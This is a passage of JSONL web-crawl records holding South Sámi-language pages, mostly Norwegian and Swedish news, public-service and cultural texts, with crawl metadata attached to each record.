åtna.","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/www.ole-vig.vgs.no\/samisk\/Sider\/default.aspx","date":"2018-01-17T18:17:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886952.14\/warc\/CC-MAIN-20180117173312-20180117193312-00205.warc.gz","language":"sma","language_score":0.999982357,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999823570251465}","num_words":294,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte noere saemien nyjsenæjja voejhkele sov byjjenimmine åarjelsaemien internatesne måahtadidh jaepieh 1990 Nöörjesne.\nGellie boelhkine åarjelsaemien maanah hïejmeste seedtesovveme edtjieh internaatesne årrodh skuvlesne vaedtsedh. Dïhte lij akte voerkes boelhke daaroedehtemepolitihkeste.\nEejhtegh sijjen maanide gååhkese hïejmeste seedtin juktie saemien gïelem jïh kultuvrem lïeredh, jïh idtjin dejtie vihth råakh eannan skuvle-eejehtimmie.\nTjidtjie lea akte vuesiehtimmie daej maanaj jïh noeri bïjre. Dïhte lea vïenetji jïh györemen bïjre. Vaeriej jïh giesielaanten tjoevkesen bïjre. Akten gïelen bïjre mij gaarveneminie.\nTjidtjie handler om en ung samisk kvinne som prøver å forstå og forsone seg med oppveksten sin, på sør-samisk internat engang på 1990-tallet i Norge. Sørsamiske barn har i mange tiår blitt sendt hjemmefra for å bo på internat og gå på skole. På 50-tallet var det en del av fornorskingspolitikken. Senere ble det et middel i den samiske kulturens gjenreising. Foreldre sendte barna sine milevis av sted for at de skulle lære samisk språk og kultur, og så dem ofte ikke igjen før til jul eller sommer. Tjidtjie handler om disse barna og ungdommene.\nDet handler om vennskap og forelskelse. Om vidda og lyset på sommerfjellet. Om stolthet over å tilhøre et helt unikt folkeslag. Om et språk som er i ferd med å dø ut. Og det handler om en 6-årig jente som savner mammaen sin, sin \"Tjidtjie\".\nBïhkedæjja jih maanuse\/Regi og manus: Ane Aass\nSvïhtje\/Koreograf: Mia Habib\nHammoedæjja\/Scenograf: Gjermund Andresen\nTjoevke\/Lysdesigner: Eirik Brenne Torsethaugen\nTjeahpoeraerije\/\nMusihken raeriestæjja\/Musikalsk konsulent: Frode Fjellheim\nDorjeje\/Produsent: Vibeke Hay Wold\nJarkoestæjja jih raeriestæjja\/ :Maria Kåik Stenfjell\nOversetter, språkkonsulent\nDorjehtæjja\/Skuespiller: Marja Lisa Thomasson\nJoejhkere\/Joiker: Charlotta Kappfjell\nDaanhtsere\/Danser: Erlend Audestad Danielsen\nTsiemije\/Perkusjonist, komponist: Tor Haugerud\nBilletter får du kjøpt her.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/www.asteatere.no\/arrangement\/tjidtjie-2\/","date":"2018-03-23T16:35:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648404.94\/warc\/CC-MAIN-20180323161421-20180323181421-00200.warc.gz","language":"sma","language_score":0.856020987,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"sma_Latn_score\": 0.856020987033844, \"nob_Latn_score\": 0.08886174112558365, \"sme_Latn_score\": 0.05124809965491295}","num_words":268,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.916,"perplexity_score":500.0,"cluster_detection":1} +{"text":"VAEDTSEDH GUESSINE\nVaedtsedh guessine aahkaj ajjaj gåatan\nvuejnedh guktie leah veasoeminie.\nBuerie biejjie, aahkah aajjah\nmanne leam guessine vaedtsieminie.\nManne jijtje voessesne åtnam bearkoem\naajja løønelh munnjien onne najpetjem.\nBuerie buerie, aahkaj aajjaj guassetje\ntjihkedh guktie nøørie saernie goltedlidh.\nEah dån riekte båetieh laebjehten pluevieh\ndie då'leah juelkide lovvehtamme.\nAahka ij leah mov juelkieh lovves gan\naehtjie mannem gøødti gievhplueviem.\nGaebpien Gåsta","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/sijtijarnge.no\/vaedtsedh-guessine\/","date":"2018-03-18T23:13:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257646178.24\/warc\/CC-MAIN-20180318224057-20180319004057-00752.warc.gz","language":"sma","language_score":0.9999773502,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9999773502349854}","num_words":62,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie daelie sjidteme dellie fluhtieh dam gierhkie fuelhkiem Forhollhogneste daan båatsoedajvese, Ida Marie Bransfjelle jeahta, mij lea Saemiedigkien lihtsege ov-juvre moenehtsene 6\nDaate daan båajhtode sjædta, voestegh nænnoestimmem jeatjadehteme jih daan mænngan daejtie kreekide båatsoe dajvese saehtieh. Im tuhtjh dihte moenehtseåvtehke, Arne Braut staaran dorjeme.\n– Daan aamhtesen bijre njoektjen asken raarastallimh jih ståvroe laatjki daan nænnoestimmen bijre. Daelie vihth daan bijre raarastalleme jih nænnoestimmen jeatjadehteme, gåessie jijnjesh destie ståvroste, båarhte lin. Dellie maa måarie tjøønghkem, gåessie naemhtie dorjeme, Bransfjelle jeahta.\nTuhtjie dihte båatsoe jieleme tjuara jijnjem tøølledh, jienebh ov-juvrh sjidtieh, abpe båatsoe dajvesne.\nSijjieh gååvnese.\nOv-juvre moenehtsen åvtehke, Arne Braute tuhtjie dah ov-juvrh båatsoe dajvesne tjaakanieh.\n– Ibie ussjedh gierhkie fulhkiem juhtiehtidh, sijhtebe Forhollhogna dajvem vaarjelidh goh gåatomes laante, Braute jeahta.\nBraute vielie jeahta, dihte Forhollhognen dajve akte dejstie åajvemes gåatomes laantijste, dunnie dajvesne.\nÅarjel- Trøøndelaagesne edtja golme gierhkien fuelhkieh jieledh.\n– Eah leah dejtie rïektes-laakan juakeme, Bransfjelle jeahta.\nBransfjelle jijtje båatsoefuelhkesne jeala, jih daelie daam orre nænnoestimmem laajhta.\n– Daejtie gierhkien fuelhkide tjoerebe juekedh jih dellie sån aaj akte gierhkien fuelhkie Forhollhognesne tjaakene, Bransfjelle tuhtjie.\nVihkeles dajvem vaarjelidh.\nDihte ov-juvre moenehtsen åvtehke, tuhjtie hijven Forhollhognen gåatomes dajvem vaarjelamme.\n–Vuajneme daelie, jijnje gierhkieh, sagke jienebe guktie åtneme. Daelie gåessie Forhollhognen dajvem vaarjelamme, dellie aelhkebe sjædta åadtjodh daejstie kreekijste vijredh, Arne Braute bievnede.\nIda Marie Bransfjelle jeahta, ibie ennje minngemes baakoem jeahteme daan aamhtsesne.\nOv-juvre moenehtsen nænnoestimme.\nIj edtjh naan gierhkien fuelhkie Forhollhognesne jieledh. Dellie dihte gierhkie dajve naemhtie vååjnoe: Holtålen (noerhtelen jih luvlelen dam rihkegeajnoem 30) Abpe Tydaelien tjïelte jih Rørosen tjïelte, luvlelen dam geajnoem jih Selbusne (luvlelen dam fylhkegeajnoem 963 jih Nean noerhtelen.)\nDaate nænnoestimme aalka skiereden 10.b. 2016.\n- Lohkh vielie: Gïerhkien aale sjædta","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.nrk.no\/sapmi\/gedtiebovtse-dajvem-vaarjelieh-1.12645963","date":"2018-03-21T16:59:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647671.73\/warc\/CC-MAIN-20180321160816-20180321180816-00748.warc.gz","language":"sma","language_score":0.9999608994,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999608993530273}","num_words":268,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voereshokse\nKraapohken tjïelte saemien reeremetjïelte tsiengelen 1:s biejjien 2012 sjïdti. Naemhtie juktie saemieh reaktam utnieh voereshoksese abpe jallh biekiem saemiengïelesne naemhtie guktie Laake nasjonelle unnebelåhkoej jïh unnebelåhkoegïelen bïjre tjåådtje, SFS 2009:724.\nKraapohken tjïelte edtja satnem faaledh mij vaajta abpe jallh biehkiem hoksehtimmeste jïh hoksem mij voereshoksesne faalen barkijijstie mah saemiengïelem maehtieh. Tjïeltesne saemienprofileereme voereshoksem darjoen sjïere årromesijjesne, Skogsforsen goevtesisnie.\n18 § Akte tjïelte akten reeremedajvesne edtja satnem faaledh mij vaajta, nuepiem abpe jallh biehkiem hoksehtimmeste jïh hokseste mah voereshoksesne faalen barkijijstie mah maehtieh såevmiengïele, meängïele jïh aaj saemiengïele. Seamma aaj tjïelth reeremedajvi ålkolen, jis tjïelte barkijh utnieh mah gïelem maehtieh.\nSosiaaledïenesjelaake 2001:453 tjaala ahte tjïelte edtja barkedh ihke jaksoesvoete barkijidie maahtoejgujmie gååvnese såevmiengïelesne, meängïelesne jallh saemiengïelesne gusnie såjhtosne båeriesalmetjigujmie daerpies lea.\nReaktam unnebelåhkoegïelem voereshoksesne nuhtjedh lea ovmessie gaevhtijste vihkeles lea. Voestegh vihkeles barkijigujmie buektiehtidh soptsestidh. Båeriesalmetjh mah unnebe jallh eah naan maahtoem daaroengïelesne utnieh edtjieh daerpiesvoeth jïh vaajtelassh buektiehtidh saarnodh jïh ij daarpesjidh vuesiehtimmien gaavhtan åeliej tjïrrh vaedtsedh. Sïejhme gujhth ahte almetjh gåessie båeries sjidtieh eah buektedh jeatjah gïelh soptsestidh jïh guarkedh enn altese ietniengïele.\nByjresisnie årrodh gusnie barkijh jïh årrojh aktem ietniengïelem soptsestieh jïh ektivoeten dååjrehtsh utnieh lea vihkeles disse mij voeres jïh kaanne madtan lea. Dellie ij leah ajve gïelen biehkie menh aaj dah kulturelle symbolh jïh vyörtegsvoeth gaajh vihkeles.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.dorotea.se\/saepmie\/voereshokse-aeldreomsorg\/voereshokse\/","date":"2018-03-21T07:08:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647584.56\/warc\/CC-MAIN-20180321063114-20180321083114-00004.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":207,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellieh jaepieh Aarboerten tjïelte barkeme jih sæjhta guektiengiele tjïelte, saemien gïelereereme dajvesne sjidtedh. Tjielten ståvroe nænnoestamme edtjieh daelie syøkedh. Daelie Aarboerten tjïelten åvtehke Asgeir Almås bievnede, ij leah aelhkies barkoe orreme.\n– Tjïelten ståvroe jeahteme jis edtjebe guektien gïele tjïelte sjidtedh, tjoeveribie Aarboerten almetjidie meatan buektedh, dihte lea støøremes haesteme daelie. Aarboerten tjïelten åvtehke Asgeir Almås jeahta.\nIj leah naan iedtje Aarboertesne.\nAaarboerten tjïelte barkeme jih niekedassem åtna, Aarboerten tjïelten almetjh edtjieh eadtjalgehtedh jih tjïelte ståvroen barkoem nænnoestidh guktie maehtieh guektien gïele tjïelte sjidtedh.\n– Mijjieh barkebe nemhtie sijhtebe dah almetjh edtjieh damtedh, daate mij hijven tjïeltese sjædta. Åtneme almetje tjåanghkoe, plaeriej tjirrh bievneme jih vaejkeles barkoe dåehkiem utnebe. Læjhkan eah leah eadtjalgehteme, Almås jeahta.\nDaelie edtja Aarboerten tjïelte læjhkan syøkedh jih guektien gïele tjielte sjidtedh.\nTjaktjese tjïelten veeljeme.\nSaemiedigkien åvtehke Aili Keskitalo geerjene akte vielie åarjelsaemien tjïelte sæjhta guektiengïele tjielte sjidtedh.\n– Govloes goh ensi-laakan barkeme jih sinsitnien gaskem rontestalleme. Håhkesjem daelie daan aamhtesen bijre nuekies digkiedamme jih ussjedamme gåessie tjaktjese tjïelten veeljeme sjædta, olles mij jeatja daestie sjædta, Keskitalo jeahta.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/gaalmede-aarjelsaemien-tjielte-1.12475533","date":"2018-04-21T20:08:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945317.36\/warc\/CC-MAIN-20180421184116-20180421204116-00241.warc.gz","language":"sma","language_score":0.9999732971,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999732971191406}","num_words":171,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"CWD (Chronic Wasting Disease) lea johte mij maahta båatsoem laaredh.\nVeterinærinstitudte bïevnede ahte lea johtem sarvesne gaavneme Selbuen dajvesne, jïh aerebi daan jaepien leah gedtie-aaltosne dam seamma skïemtjelassem vueptiestamme, Nordfjella gedtiedajvesne.\n– Jis daate slïejhpe mijjien båatsoe jaksa dellie gujhth garre biejjieh båetieh, strerkiestibie dellie iehkedsbiejjie dennie båatsojne, saemiedigkieleahtesege Gaebpien Jåvva (Ap) jeahta pressebïevnese.\nNoerhte-Amerihkesne leah aerebe dam johtem gaavneme. Dotkijh eah daejrieh guktie lea Europese båateme. Viehkiedåehkie Beapmoegoerehtimmeste, Byjresedirektoraateste jïh Veterinærinstitudteste lea barkeminie dotkedh man vijries joe lea Nöörjesne jakseme.\nVeterinærinstitudte bïevnede ahte ibie annje utnieh naan vuekie nænnoestidh ahte jielije krïevve dam johtem åådtjeme. Buerie jis limh utneme naan Healsoedïenesjimmie raentie-krievvide aaj, seamma guktie joe gååvnese smaave-, jih stoerrekluhteridie. Båatsojne ibie dagkerem faaleldahkem utnieh, guktie vihkeles healsoedïenesjimmiem bovtside åadtjodh.\n– Båatsoeburrieh åarjelsaemien dajvine tjoeperdieh guktie maa sjædta jis dïhte lonte CWD gåatomelaantese båata. Dellie gujhth garre tïjje båatsojne.\nMinngemes våhkoe akte bovtse sjïdti veterinærinstitudtese seedtedh, dan gaavhtan lij sovme dïhte bovtsem utni CWD, mohte lij jeatja fåantoe.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/baella-skiemtjelasse-stoerrebe-sjaedta-1.13002453","date":"2018-04-20T19:21:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944677.39\/warc\/CC-MAIN-20180420174802-20180420194802-00038.warc.gz","language":"sma","language_score":0.9999912977,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999912977218628}","num_words":157,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Seksem åtna maahta lustes, hearloes jïh gïeltehke årrodh. Maahta muvhten aejkien naemhtie sjædta ij pryjjh dan bïjre maam daajra vihkeles. Vuesiehtimmien gaavhtan edtja vaarjelidh guktie vaahram vaeniedidh tjoeleskïemtjelassem åadtjodh. Jis naemhtie damta dellie maahta teestedh.\nMannasinie edtja tjoeleskïemtjelassi åvteste teestedh?\nDïhte åålegh hijven teestede tjoeleskïemtjelasside jis ovvaarjedamme seksem åtneme. Dam aaj hijven jis vervies damta dan gaavhtan naan tjoeleskïemtjelassh eah symtovnh vedtieh.\nJis giem akt råakeme gïese sæjhtastinkes relasjovnem utnedh jïh soejkesje vaarjedimmine orrijidh lea aaj hijven jis gåabpatjahkh voestes teestedidh.\nDïhte maahta aaj naemhtie årrodh naan gïejnie lea seksem åtneme lea testedamme jïh tjoeleskïemtjelassem åtna. Jis dïhte skïemtjelasse suetievaarjelimmielaakesne, maahta prieviem jallh telefovnesopstallemem åadtjodh dåastoevistie gusnie edtja teestedidh.\nIj leah vihties jïjtje tjoeleskïemtjelassem åådtjeme, mohte skåaltoem åtna laaken mietie vualka jïh teestedidh juktie vaahram vaenede skïemtjelassem luapeske.\nGåessie edtja tjoeleskïemtjelassi åvteste teestedidh?\nDïhte åålegh hijven teestede tjoeleskïemtjelasside jis ovvaarjedamme seksem åtneme. Naan skïemtjelassh maahta gellie askh jïh dovne jaepiem såemies aejkien åvteli skïemtjelassem damta.\nMohte maahta såemies aejkien dan aareh orre vualka jïh teestedidh. Ij gåaredh teestedidh biejjien mænngan ovvaarjedamme seksem utni, juktie virusem jallh bakterijem mestie ovledh idtji hïnnh dan jïjnjh jeanadidh guktie pryöveme dam vuesehte.\nVuesiehtimmien gaavhtan klamydia jïh gonorré, dejtie pråvhka teestem maahta darjodh aaremosth våhkoen mænngan ovvaarjedamme seksem åtneme. Mohte naan skïemtjelasside, vuesiehtimmien gaavhtan hiv, maahta golme askh vaasedh dan mænngan dam åådtjeme åvteli dam vihties teestesne vuesehte jis skïemtjelassem åådtjeme.\nJis aerkies jallh vaejvieh åtna edtja dåastoevasse vuelkedh. Jis daajra stoerre vaahram sjïdti tjoeleskïemtjelassem åådtjeme, vuesiehtimmien gaavhtan jis daajra dïhte giejnie seksem utni dam utni, maahta såemies aejkien båehtjierdimmiem åadtjodh åvteli pryövoevaestiedasside riejries.\nJis idtji seksem giejnie utnieh ij maehtieh tjoeleskïemtjelassem åadtjodh. Dellie ij daarpesjh vuelkedh teestedidh.\nGusnie maahta tjoeleskïemtjelassi åvteste teestedidh?\nJis sæjhta tjoeleskïemtjelassem teestedidh maahta noeredåastoevasse vuelkedh, njaltje- jallh tjoeledåastoevasse jallh hoksejarngese. Aaj RFSU dåastovh åtna gusnie maahta tjoeleskïemtjelasside teestedidh.\nNïejth maehtieh aaj nyjseneklinihkese jallh gynekologese vaedtsedh. Klamydiateestem maahta aaj gaskeviermesne dongkedh jallh apotehkesne åestedh.\nJis sæjhta daejredh gåabph maahta vuelkedh teestedidh gusnie årroeminie maahta skïemtjehokseraeriestæmman 1177 ringkedh.\nGuktie teestem jåhta?\nTjoeleskïemtjelasside teestede varki gåerede jïh lea aelhkies. Guktie teestem dorje jeerehtse mij skïemtjelasside teestede jïh mij vuekide seksem utni jïh guktie meehti laanestidh.\nJis tsavnoenegkemem utni daamhtaj gadtjepryövoem vedtedh. Baernieh gieh edtjieh klamydiam teestedidh gadtjepryövoem nuekies. Nïejth aaj pryövoem tsavnoste vedtedh. Dam maahta jïjtje darjodh bomullepinnine maam åådtje gosse edtja teestedidh jallh teestem gåetide dongkedh.\nJis daajra edtja gadtjepryövoem vedtedh ij edtjh gadtjedh akte jallh göökte tæjmoeh åvteli teestedidh.\nNaan skïemtjelasside, goh gonorré, pryövoem vaalta sigkies pryövoevaaltemepinnine maam vååjnoes goh sigkies topse. Pryövoevaaltemepinnem mojhteleslaakan njevlieskïelten vööste tsavtnosne, gadtjegirsesne, tjeapoehkisnie jallh analetjovvegietjesne. Gusnie pryövoem vaalta jeerehtse guktie seksem utni. Govloes stråarkan, mohte varki gåerede jïh ij dan jïjnjh damth.\nJeatjah skïemtjelasside åådtje vïrrepryövoem vedtedh. Dam vaalta sigkies naalojne gïetegaevesne.\nJis dïhte gie goerehte såvma skïemtjije herpesem åtna, muvhtene pryövoem vaalta herpesebollenjistie bomullepinnine.\nJis vååjnoes kondylomh åtna ij daarpesjh pryövoem vaeltedh, dannasinie dïhte gie goerehte daamhtaj maahta vuejnedh mij lea.\nGåessie vaestiedassem åådtje?\nJeenjemes pryövide åådtje vaestiedasside våhkoen mietie. Gosse pryövem vadta pråvhka dåastoevinie seamede guktie edtja vaestiedassem åadtjodh. Vuesiehtimmien gaavhtan jis dah edtjieh ringkedh, prieviem seedtedh jallh jis edtja dohkoe båetedh.\nMaahta geerve årrodh pryövoevaestiedassem vuertedh. Iemeles aerkies sjædta jïh tïjjem åvteli vaestiedassem båata guhkiem damta. Jis nåake damta dellie hijven naan soptsestalledh dan åssjeli jïh domtesi bïjre. Dïhte maahta årrodh voelpem, naan fuelhkeste jallh jeatjah man lea lïhke.\nMaahta aaj noeredåastovem bïeljelidh. Barkijh desnie maehtieh viehkine årrodh gosse gïerve sjædta jïh dah maehtieh vaestiedidh ovmessie gyhtjelassh jïh åssjelh tjoeleskïemtjelassi bïjre.\nMan dovres pryövoem vaeltedh?\nDejtie skïemjelasside mah suetievaarjelimmielaaken meatan, vuesiehtimmien gaavhtan klamydia, gonorré jih hiv dellie namhtah teestedidh vaallah man båeries jallh gusnie dam dorje.\nJeatjah tjoeleskïemtjelasside teestedidh tjuara ovmessie maeksedh destie gusnie årroeminie jïh mij dåastoevidie vaadtsa. Daamhtaj pråvhka ovmessie skïemtjelassh seamma aejkien teestedidh. Dellie ryöhkoe aktem dejstie meatan suetievaarjelimmielaake guktie slyöhpoe maeksedh.","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/www.umo.se\/Andra-sprak\/Nationella-minoritetssprak\/Sydsamiska\/Teestedh\/","date":"2018-04-25T17:55:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947939.52\/warc\/CC-MAIN-20180425174229-20180425194229-00502.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":622,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hoksedïenesjh\nGaajhkh tjïelth edtjieh dïenesjh vedtedh disse guhte ij jïjtje bearkedh, jïh tjuara dæjpeles jallh persovneles viehkiem utnedh biejjeladtje darjomesh buektiehtidh, jallh sjïere daerpiesvoeh åtna. Maahta skïemtjelassen, funksjovneheaptoen jïh aalteren gaavhtan årrodh, jallh jeatjah tsiehkieh.\nÅejvieladtjh leah \"Omsorgsplanen 2015\" nænnoestamme mij strategijh jïh råajvarimmieh guhkiebasse gïetede, juktie hijven jïh byögkeles dïenesjh gorredidh gaajhkide båarasåbpoe almetjidie jïh dejtie mah hoksem daarpesjieh. Dah vihkielommes barkoesuerkieh leah jienebh barkijh hoksedïenesjinie, vielie daajroe, vielie ektiedahkoe jïh vielie medisijnen dåarjedimmie, dotkeme jïh kvaliteeteevtiedimmie, eadtjohke hokse mij leavloem beaja kultuvrelle jïh sosijalle råajvarimmide, jïh guejmievoete fuelhkine jïh voenges siebriedahkine.\nFylhkenålma edtja tsevtsiedæjja årrodh ihke tjïelth hoksedïenesjh biejjieöörnegasse biejieh, juktie båetijen aejkien haestemh dåastodh.\nGellie såarhts hokseviehkieh gååvnesieh\nFïereguhten almetjasse maahta viehkiem vedtedh goh raerie jïh bïhkedimmie, hïejmeviehkie, gåetiesujhteme jallh jeatjah dæjpeles viehkie, dåarjoehtæjjah, jïh viehkie jallh baalhka almetjidie mah joekoen leevles hoksebarkoem utnieh.\nHoksegåetie ij leah hokseviehkie\nGie edtja hoksegåetiem åadtjodh ij leah reaktavåaroemisnie healsoe- jïh hokselaakesne, jïh leah amma uvtemes akte sïejhme lååjkedimmiegåetie. Tjïelte maahta dïenesjem jïh viehkiem vedtedh disse mij ij jïjtje bearkedh dagkeres gåetesne, seammalaakan goh aktene sïejhme gåetesne.\nMaahtah hokseviehkiem laejhtedh\nMaahtah klååkedh jis vienhth datne ih dejtie hoksedïenesjidie åadtjoeh mejtie edtjh utnedh, jallh dastegh ih leah sïemes guktie tjïelte dov daerpiesvoetide vuarjasjamme. Ihke dïhte mij nænnoestimmiem dorjeme man bïjre datne ih leah sïemes, edtja nuepiem åadtjodh sov mïelem jarkelidh, edtjh klååkoem tjïeltese seedtedh. Dastegh ij klååkoem jååhkesjh, dle Fylhkenålmese seedtesåvva akten minngemosth nænnoestæmman.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Healsoe-jih-hokse\/Hoksedienesjh\/","date":"2018-04-25T17:58:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947939.52\/warc\/CC-MAIN-20180425174229-20180425194229-00550.warc.gz","language":"sma","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"sma_Latn_score\": 1.0000035762786865}","num_words":231,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fïerhten jaepien Leenestuvrie jih Saemiedigkie edtjieh minngiejielemen laaken mietie gïehtjehtidh jih dam reerenasse buerkiestidh.\nLeenestuvrie edtja aaj Saemiedigken ektine barkoem ektiedidh dejtie unnebelåhkoepolitihki vuepside nasjovnelle daltesisnie. Dïhte sjädta mijjieh edtjebe bïevnesedarjomidie öörnedh jih aaj tjïeltide jih unnebelåhkojde dåarjedidh sijjen barkosne ektiedimmiem tseegkedh tjïeltedaltesisnie. Leenestuvrie jih Saemiedigkie edtjieh aaj stillemen mietie staatedåarjoeh joekedidh tjïeltide jih laantedigkide mah reeremedajvi sisjnelisnie.","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/www.lansstyrelsen.se\/Stockholm\/Sv\/manniska-och-samhalle\/nationella-minoriteter\/aarjelsaemien\/Pages\/leenestuvrien-stilleme.aspx","date":"2018-04-27T02:52:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948950.83\/warc\/CC-MAIN-20180427021556-20180427041556-00564.warc.gz","language":"sma","language_score":0.999992609,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999926090240479}","num_words":58,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.109,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dorjehtæjja jïh Åarjelhsaemien teateren åvtehke Cecilia Persson, Bååhneste Jïemtesne, gellieh jaepie teaterine jïh heamturigujmie barkeme, daelie åasa åådtjeme.\nMickelpriset\nMickelpriset, maam Persson åådtjeme, lea åasa maam almetje jallh siebrie maahta åadtjodh ihke maahtoe jïh ïedtje njaalmedhs heamturi bijre jeatjabidie veadta. Dam Persson gujhth dorjeme. Aerebi åehpies svïenske tjaelije Astrid Lingren aaj åasam fihkeme.\nCecilia Persson\nGaajh stoerre earoe åasam åadtjodh\nSkreejremisnie tjåådtje:\nMickelpriset 2015 tilldelas Cecilia persson.\nSom under flera decennier med inlevelse, entusiasm och stort engagemang levandegjort samiska sagor och myter, gestaltat samiska livsöden och hållit jojken levande. Hon är synnerligen framstående samisk traditionsbärare.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/www.nrk.no\/sapmi\/mickelpriset-1.12410311","date":"2018-05-24T00:39:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794865863.76\/warc\/CC-MAIN-20180523235059-20180524015059-00020.warc.gz","language":"sma","language_score":0.9949856997,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9949856996536255}","num_words":94,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerhte-Trööndelagen fylhkentjïelte dïedtem åtna ööhpehtimmelaakan mietie dåårrehtidh gaajhkh noerh mah lïerehtimmireaktam utnieh, mah leah gaskem 16-21 jaepieh, faalenassem åadtjoeh akten lïerehtimmie-jallh barkoeöörnegen bïjre mij dejtie sjeahta.\nDannasinie gaajhkesigujmie govlehtalla, dah mah eah leah registreradamme goh learohkh jallh lïerehtimmesne.\nOT laavenjostoe jeatjah fylhkentjïelten, tjïelten jïh staaten suerkiejgujmie mah diedtem utnieh noeri åvteste.\nOT- Mij lea vaaksjoestimmiedïenesje?\nVaaksjoestimmiedïenesje (daaroen OT) edtja faalenassem dåårrehtidh lïerehtimmien, barkoen jallh fasseldimmien bïjre, dejtie noeride mah eah leah lïerehtimmesne jallh barkosne. Daate akte reakta laaken mietie mij ryöhkoe abpe dam jaepiem dïhte noere 21 jaepieh illie.\nOT-iktedæjjah fïerhtene jåarhkeskuvlesne gååvnesieh mah gaajhkide tjïeltide faarhmestieh\n-vuartesjh daan tjaalegen mubpiebieliem\nOT lea DOV gaavhtan\nOT maahta dutnjien raeriestidh jïh bïhkedidh, viehkiehtidh lïerehtimmiem, barkoem jallh jeatjah faasseldimmiem syökedh.\nGie maahta OT'em nåhtadidh?\nOT lea dejtie noeride gaskem 16 jïh 21 jaepieh, mejtie aaj eejhtegigujmie, amma dah mah reaktoem utnieh jåarhkeööhpehtimmiem åadtjodh – mah\n-eah leah jåarhkeskuvlem jallh learoesijjiem syökeme\n-eah leah skuvle-jallh learoesijjiem 